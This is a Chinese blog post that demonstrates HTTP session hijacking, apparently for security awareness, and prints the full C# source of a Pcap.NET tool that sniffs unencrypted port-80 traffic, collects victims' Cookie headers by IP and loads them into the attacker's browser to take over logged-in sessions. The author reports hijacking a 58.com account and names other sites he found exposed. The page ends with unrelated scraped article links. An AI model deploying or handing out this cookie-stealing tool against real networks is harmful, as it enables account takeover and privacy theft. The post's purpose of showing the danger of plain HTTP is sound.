看完48秒动画,让你不敢再登录HTTP网站(附完整示例代码)
在我的 单点登录SSO示例代码 一文中,强烈不建议部署HTTP的SSO服务站点。
在此写个基于网络包嗅探的HTTP会话劫持程序,给大家一个直观的危害性展示。
示例中,我在一台Mac上登录58同城,被另一台Windows上的程序劫持。“黑客”查看我的信息畅行无阻,还顺手改了我的头像。
先直接上演示动画吧,48秒:

原文地址:HTTP会话劫持示例-单点登录SSO
58同城的用户登录是采用了HTTPS的,仍然逃不过会话劫持。大部分较规范的网站,都是类似模式:登录采用HTTPS,主要流量走HTTP。
随手测试发现,使用该模式的站点,包括csdn、qq邮箱(是的它竟然还有http版的)等等,很多都未做到会话劫持免疫。博客园其实也中招了,但它把敏感操作都放到了HTTPS,所以没太多影响。
其实,对于用HTTP走流量、HTTPS走认证的站点,略施改造,是可以对会话劫持免疫的。各大网站可以自行下载我的程序自查是否存在缺陷,我可以提供针对性免疫补丁支持。
以下是该示例的主要代码,蛮简单,引用了Pcap.NET组件,需要对应安装WinPcap。基于该组件的网络数据包嗅探,只是做会话劫持的一种途径,而且有应用局限性,所以示例代码更多是一个演示程序而非黑客工具。下面会具体讲到。
想跟进最新代码的还请watch我github上源码:https://github.com/baibaomen/Baibaomen.HttpHijacker
using PcapDotNet.Core;
using PcapDotNet.Packets;
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms; namespace Baibaomen.HttpHijacker
{
public partial class FormHijacker : Form
{
/// <summary>
/// 被嗅探到的各个设备的cookie集合。
/// </summary>
ConcurrentDictionary<string, ConcurrentDictionary<string, string>> clientCookies = new ConcurrentDictionary<string, ConcurrentDictionary<string, string>>(); public FormHijacker()
{
InitializeComponent();
} private void FormHijacker_Load(object sender, EventArgs e)
{
StartHijack();
} public void StartHijack()
{
Task.Run(delegate {
IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine; if (allDevices.Count == )
{
MessageBox.Show("未找到网卡。请确认已安装WinPcap。");
return;
} foreach (var selectedDevice in allDevices)
{
Task.Run(delegate
{
PacketCommunicator communicator =
selectedDevice.Open(, PacketDeviceOpenAttributes.Promiscuous, );
if (communicator.DataLink.Kind != DataLinkKind.Ethernet)
{
return;
} using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp and dst port 80"))
{
communicator.SetFilter(filter);
}
communicator.ReceivePackets(, PacketHandler);
});
} this.BeginInvoke(new EventHandler(delegate {
lbMsg.Text = "监听已启动";
}));
});
} private void PacketHandler(Packet packet)
{
try
{
var sourceIP = packet.Ethernet.IpV4.Source.ToString(); var http = packet?.Ethernet?.IpV4?.Tcp?.Http;
if (http == null || http.Header == null) return; if (http.IsRequest && http.IsValid)
{
String msg = http.Decode(Encoding.UTF8); //只截获网页正文请求。
if (!string.IsNullOrEmpty(msg))
{
var lines = msg.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
var host = lines.FirstOrDefault(x => x.StartsWith("Host: "))?.Substring("Host: ".Length);
var cookie = lines.FirstOrDefault(x => x.StartsWith("Cookie: "))?.Substring("Cookie: ".Length); if (string.IsNullOrEmpty(host)) return; if (!string.IsNullOrEmpty(cookie))
{
var cCookies = clientCookies.GetOrAdd(sourceIP, new ConcurrentDictionary<string, string>());
cCookies.AddOrUpdate(host, cookie, (key, oldVal) => cookie);
} if (msg.StartsWith("GET ") && (msg.Contains("\nAccept: text/html") || msg.Contains("\nAccept: text/plain")))//筛除对资源文件等的请求,让数据更干净。
{
var pathAndQuery = lines[].Substring(, lines[].LastIndexOf(" HTTP/")).Substring("GET ".Length);
this.BeginInvoke(new EventHandler(delegate {
lstSessions.Items.Insert(, $"{sourceIP}\t{DateTime.Now}\thttp://{host + pathAndQuery}");
}));
}
}
}
}
catch//可能嗅探数据不完整,丢弃。
{
}
} [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool InternetSetCookie(string lpszUrlName, string lbszCookieName, string lpszCookieData); private void btnHijack_Click(object sender, EventArgs e)
{
var selected = lstSessions.SelectedItem; if (selected == null)
{
MessageBox.Show("请选择待劫持会话");
return;
} var segments = selected.ToString().Split('\t');
var ip = segments[];
var url = segments[]; var cookies = clientCookies[ip]; foreach (var domainCookie in cookies) //将cookie设置为浏览的cookie
{
foreach (var item in domainCookie.Value.Split(';'))
{
try
{
var name = item.Substring(, item.IndexOf('=')).Trim();
var value = item.Substring(item.IndexOf('=') + ); InternetSetCookie(
"http://" + domainCookie.Key,
name,
value + ";expires=" + DateTime.UtcNow.AddMinutes().ToString("R"));
}
catch { }//有不符合格式的数据。可能嗅探数据不完整,丢弃。
}
} if (lstSessions.SelectedItem != null)
{
Process.Start("iexplore.exe", url);
}
} }
}
原文地址:HTTP会话劫持示例-单点登录SSO
会话劫持可以在发生在不少地方/途径:
- 通过专门设置的路由器/交换机;所有Hub;同一台物理机上的虚拟机
- 所有上网代理
- 可被ARP攻击的局域网络
- 不安全的无线网络
- 网络运营商具备劫持能力。以前访问http网站,常常能看到网络运营商注入的广告,这说明它是在解析HTTP数据的
可见能够发生会话劫持的场景比较广。
本示例采用的是上述第一个途径,该途径有较大局限性。这是因为,现在除了部分单位或学校还在用廉价的Hub,大部分是通过路由器、交换机接入网络的。对此只有在支持的设备上特别配置并指定的机器,才能嗅探到其它机器的数据包。
对于同一台物理机上的虚拟机,因为它们对应一块物理网卡,所以无需交换机、路由器上做设置,就能嗅探到彼此数据。使用虚拟机环境是一个运行本示例的快捷途径。
转载须保留原文链接: http://www.cnblogs.com/baibaomen/p/http-session-hijack.html
本作品采用知识共享署名-非商业性使用-相同方式共享 2.5 中国大陆许可协议进行许可。
我的博客欢迎复制共享,但在同时,请保留原文地址,以及我的署名权百宝门-SSO顾问,并且,不得用于商业用途。
如您有任何疑问或者授权方面的协商,请给我邮件。
博客园专栏:
百宝门-SSO顾问

看完48秒动画,让你不敢再登录HTTP网站(附完整示例代码)的更多相关文章
- 看完给跪了:技术大牛总结的Github与华为软件开发云完整对比
华为软件开发云配置管理 服务和Github是国内外比较有代表性的代码托管平台,它们以git作为版本管理工具,使项目中身处各地的人员可以协同工作,主要操作涉及仓库.分支.提交.pull request等 ...
- 看完这篇HTTP,跟面试官扯皮就没问题了
我是一名程序员,我的主要编程语言是 Java,我更是一名 Web 开发人员,所以我必须要了解 HTTP,所以本篇文章就来带你从 HTTP 入门到进阶,看完让你有一种恍然大悟.醍醐灌顶的感觉. 最初在有 ...
- 看完SQL Server 2014 Q/A答疑集锦:想不升级都难!
看完SQL Server 2014 Q/A答疑集锦:想不升级都难! 转载自:http://mp.weixin.qq.com/s/5rZCgnMKmJqeC7hbe4CZ_g 本期嘉宾为微软技术中心技术 ...
- 在知乎上看到 Web Socket这篇文章讲得确实挺好,从头看到尾都非常形象生动,一口气看完,没有半点模糊,非常不错
在知乎上看到这篇文章讲得确实挺好,从头看到尾都非常形象生动,一口气看完,没有半点模糊,非常不错,所以推荐给大家,非常值得一读. 作者:Ovear链接:https://www.zhihu.com/que ...
- 盘点国内程序员不常用的热门iOS第三方库:看完,还敢自称”精通iOS开发”吗?【转载】
综合github上各个项目的关注度与具体使用情况,涵盖功能,UI,数据库,自动化测试,编程工具等类型,看完,还敢自称”精通iOS开发”吗? https://github.com/syedhali/EZ ...
- Android图表库MPAndroidChart(二)——线形图的方方面面,看完你会回来感谢我的
Android图表库MPAndroidChart(二)--线形图的方方面面,看完你会回来感谢我的 在学习本课程之前我建议先把我之前的博客看完,这样对整体的流程有一个大致的了解 Android图表库MP ...
- 看完此文还不懂NB-IoT,你就过来掐死我吧...【转】
转自:https://www.cnblogs.com/pangguoming/p/9755916.html 看完此文还不懂NB-IoT,你就过来掐死我吧....... 1 1G-2G-3G-4G-5G ...
- 看完此文还不懂NB-IoT,你就过来掐死我吧...
看完此文还不懂NB-IoT,你就过来掐死我吧....... 1 1G-2G-3G-4G-5G 不解释,看图,看看NB-IoT在哪里? 2 NB-IoT标准化历程 3GPP NB-IoT的标准化始于20 ...
- c#代码 天气接口 一分钟搞懂你的博客为什么没人看 看完python这段爬虫代码,java流泪了c#沉默了 图片二进制转换与存入数据库相关 C#7.0--引用返回值和引用局部变量 JS直接调用C#后台方法(ajax调用) Linq To Json SqlServer 递归查询
天气预报的程序.程序并不难. 看到这个需求第一个想法就是只要找到合适天气预报接口一切都是小意思,说干就干,立马跟学生沟通价格. 不过谈报价的过程中,差点没让我一口老血喷键盘上,话说我们程序猿的人 ...
随机推荐
- 关于JavaScript中连等赋值那点事
今天看了前端网上关于JS的题目,其中有一道题目挺有意思的.如下 var a = b =10; (function(){ var a = b = 20; })(); console.log(a); co ...
- Framework7首页隐藏navbar其他页面显示navbar
Framework7首页隐藏navbar其他页面显示navbar 帮别人解决问题,自己也记录一下, 首页.navbar加.navbar-hidden, 首页.page加.no-navbar, 如果首页 ...
- jQ伪类选择器
<!DOCTYPE html><html> <head> <meta charset="UTF-8"> <title>& ...
- WPF 截屏软件开发
最近由于工程需要开始研发基于Windows的自动录屏软件,很多细节很多功能需要处理,毕竟一个完美的录屏软件不是你随随便便就可以写出来的.首先参考了大部分的录屏软件,在研发的过程中遇到了很多的问题:比如 ...
- 免费视频播放器videojs中文教程
Video.js是一款web视频播放器,支持html5和flash两种播放方式.更多关于video.js的介绍,可以访问官方网站介绍,我之前也写过一篇关于video.js的使用心得,有兴趣的可以点这里 ...
- Redux学习笔记:Redux简易开发步骤
该文章不介绍Redux基础,也不解释各种乱乱的概念,网上一搜一大堆.只讲使用Redux开发一个功能的步骤,希望可以类我的小白们,拜托它众多概念的毒害,大牛请绕道! 本文实例源代码参考:React-Re ...
- 光场相机重聚焦之二——Lytro Illum记录光场
上一节中大概讲述了光场相机和光场的参数化表示,这一节就说一下光场相机内部是如何记录光场以及实现重聚焦的. 博主用的是Lytro Illum,所以就以Illum为例来说了,Illum的功能还是挺多的,上 ...
- linux 程序调用system执行命令
正确使用system方法,判断返回值 int exeCmd(const char *cmd) { pid_t status; status = system(cmd); == status) { Wr ...
- avalon2对比avalon1 新增的功能汇总
avalon2.0 与1.4,1.5相比, 2.0是移除了ms-repeat, ms-each, ms-with, ms-include, ms-include-src,ms-data, ms-sca ...
- 【原创】10万条数据采用存储过程分页实现(Mvc+Dapper+存储过程)
有时候大数据量进行查询操作的时候,查询速度很大强度上可以影响用户体验,因此自己简单写了一个demo,简单总结记录一下: 技术:Mvc4+Dapper+Dapper扩展+Sqlserver 目前主要实现 ...